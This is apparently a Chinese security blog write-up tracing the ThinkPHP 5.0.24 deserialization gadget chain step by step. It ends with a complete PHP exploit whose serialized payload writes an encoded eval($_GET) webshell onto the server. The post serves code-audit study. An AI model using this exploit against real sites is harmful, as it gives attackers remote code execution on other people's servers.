Thinkphp5.0.24反序列化分析

文章首发星盟安全团队公众号

前言

最近发现自己代码审计的能力有所下滑,所以特别拿tp的各种漏洞出来分析一下。

此处用tp5.0.24版本的,后面还会有其他版本的。

分析

首先5.0.24版本爆出来的是反序列化漏洞,那我就来分析一下反序列化的pop链的构造过程。

既然是反序列化,那么最重要的__destruct函数必然不可少。

1.png

这里有个windows.php,跟进一下

close函数没啥好看的,跟进removeFiles()

我们知道这里file_exists方法是把后面的filename当作一个字符串处理,因而可能会触发tostring方法。

这里我们重点think目录下的文件,因为think目录下的文件是tp的库文件。

在collection和model文件的tostring下都有一个toJson方法,继续跟进。

json_encode应该就是编码类的,不管。看看toArray()函数:

该函数里面用了很多方法,大部分是以this->指向的函数,这里勾出没有没有直接this指向的。

可能你会觉得这四个是不是都要去去深入下去看看呢?我认为暂时没这个必要因为第一和第二个红框内都是把$name添加进$relation里面,最后还是会回到toArray()里面来。

所以是没必要现在去深挖的。那么第三个红框需要深入吗?

也是没必要的。因为第三和第四个红框是一起的,第三个红框里面的内容会影响第四个框里面的内容。所以这里我们选择最后一个作为调用__call的跳板。

最后一个有两个参数一个是$value,一个是$attr。

控制$value的核心代码就是901,902两行,$value受$modelRelation影响,$modelRelation受$relation影响,$relation又是$name控制的,也就是由$this-append控制的,这是我们可控的,这也就是说$modelRelation是Model类任意方法的返回值

控制$attr的核心是在$modelRelation->getBindAttr(),$modelRelation恰好也是$name可控的。

因此value和attr都是可控的,这里就有可能引用__call魔法函数

接着我们深入getRelationData()看看是怎么解析的。

这里可以看到有个if语句判断,我们跟进isSelfRelation()和getModel()。



这里可以看到isSelfRelation返回的是relation这个类,第一个getModel去请求了query类中的getModel方法,返回model变量值。get_class返回类的名称,也就是判断两个类是否一样。

也就是让

1
$item[$key] = $value ? $value->getAttr($attr) : null;

中的$value等于model中的类才可以进入到这一步。

接着对$attr变量进行分析。

这里有个getBindAttr函数,全局搜索一下,在OnetoOne.php里面找到了,并且OnetoOne类是relation类的子类。

这里bindAttr可以在反序列化的时候被我轻易伪造。

因此总结一下前面说的,$this->$relation()的值进入$this->getRelationData()后有一个判断,只有当$value和上面简单可控的model变量同类并且控制$this->$relation()是0,才会进入循环得到$value。

到这里就知道了可以进行反序列化了,接下来就是找可以反序列化的类了。这里肯定得靠__call方法的。并且因为

1
$item[$key] = $value ? $value->getAttr($attr) : null;

所以__call方法最好在$value控制的类里面。

我们全局找一下__call()。

选择在Output类里面的__call()

会调用call_user_func_array(‘block’,$args)

跟进block函数:

所以最后执行的是$this->handler->write函数

于是找找有没有write函数的类,在Memcached类中发现一个

再找调用set的方法,在/think/cache/driver/file.php里面发现了

有个file_put_contents写文件操作。跟进getCacheKey()

这里filename = $this->options[‘path’]可控,但是写入文件的value是不可控的,因为根据前面参数的递进可知value是为true的。但是在后面setTagItem函数里面,我们又可以通过$name构造写入的内容。

这里我们就可以构造name,然后还会进入一次set函数,把name当作valu写入文件。

POP构造

这里先贴个安全客上面的一个图片,直观一点。

image

这个pop链构造确实很烧脑,没办法本人代码能力太差,现在恶补一下。

首先我们重新看回入口处,destruct函数。在window.php里面,并且有一个文件判断的条件触发__tostring,所以我们需要伪造$file。

触发后,进入Model抽象类的__tostring(),一直到toArray()。

接着toArray里的$this.append我们可以伪造,进而伪造$name,$value

这里我们伪造的append,也就是name是getError这个函数,因为这个函数可控。

1
2
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

使value能够被我们任意构造,我代码里面的$modeRelation就是error的值,我们赋予它的值,也就是我们赋予$value的地方,至于它是多少,以及parent是什么接下来会分析到。

跟进getRelationData函数,$modelRelation形参就是我们构造的值,对应$this->error的值

isSelfRelation函数是Relation抽象函数的一个方法,我们要控制它为0,但是抽象函数是不能实例化的,所以我们得找Relation的一个子类,但是不慌,我们先接着分析。

getModel()方法也是Relation抽象函数里面,

这里query其实就是Query类

这里可以看到Query类中的model也是可以控制的。所以倒推回去,

1
$modelRelation->getModel()

这个地方我们就可以控制Query中的model变量来控制它的值,只要parent类的值和我们构造的model的值相等就可以为真了。

image.png

那么这里的$modelRelation为什么要是HasOne呢?

因为在toArray函数中,有这么一个判断

1
if (method_exists($modelRelation, 'getBindAttr'))

我们构造的modelRelation要有getBindAttr这个函数,我们全局查找一下,一个OnetoOne的抽象类有这个方法,(也是Relation的子类)。因此我们只要找OnetoOne的子类就可以了,全局查找了一下,就有一个HasOne符合这些条件。

所以我们这里让$modelRelation为HasOne,然后$this->parent就可以构造成output类,为了后面的__call的引用。

至于这里为什么有个Pivot,也是因为Model是抽象类,需要找个子类来继承他的方法。

所以我们能很顺利的调用Output中的__call方法了。

进了该方法后,我们得先伪造一个getAttr是在$this->styles里面的,才能触发block函数。

对block函数步步深入,会到这么一个方法

1
$this->handle->write($messages, $newline, $type);

这里handle我们也是可以控制的,让handle等于think\session\driver\Memcached类就可以跳过去了。

因为Memcached中的write方法也是受到$this->handler控制的,我们又可以利用这个做跳板,跳到File类

最后再构造一下参数就可以写文件操作了。

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=['expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>', 'data_compress' => false,];
$this->tag = '123';
}

}
}

最后用倒叙的方法一步步往上面包含就可以得到最后的exp了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];

protected $error = null;
protected $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;

$this->append = array("test"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['test']; // $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler = null;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
$this->config = array("session_name"=>'da13.php',"expire"=>"test");
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=['expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>', 'data_compress' => false,];
$this->tag = '123';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
}

最后

希望通过审计这些较长的代码对自己的代码审计能力进行锤炼。如果有不对的地方还请师傅斧正!

参考链接

http://blog.ydspoplar.top/2020/01/31/thinkphp5.0.x-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://www.anquanke.com/post/id/196364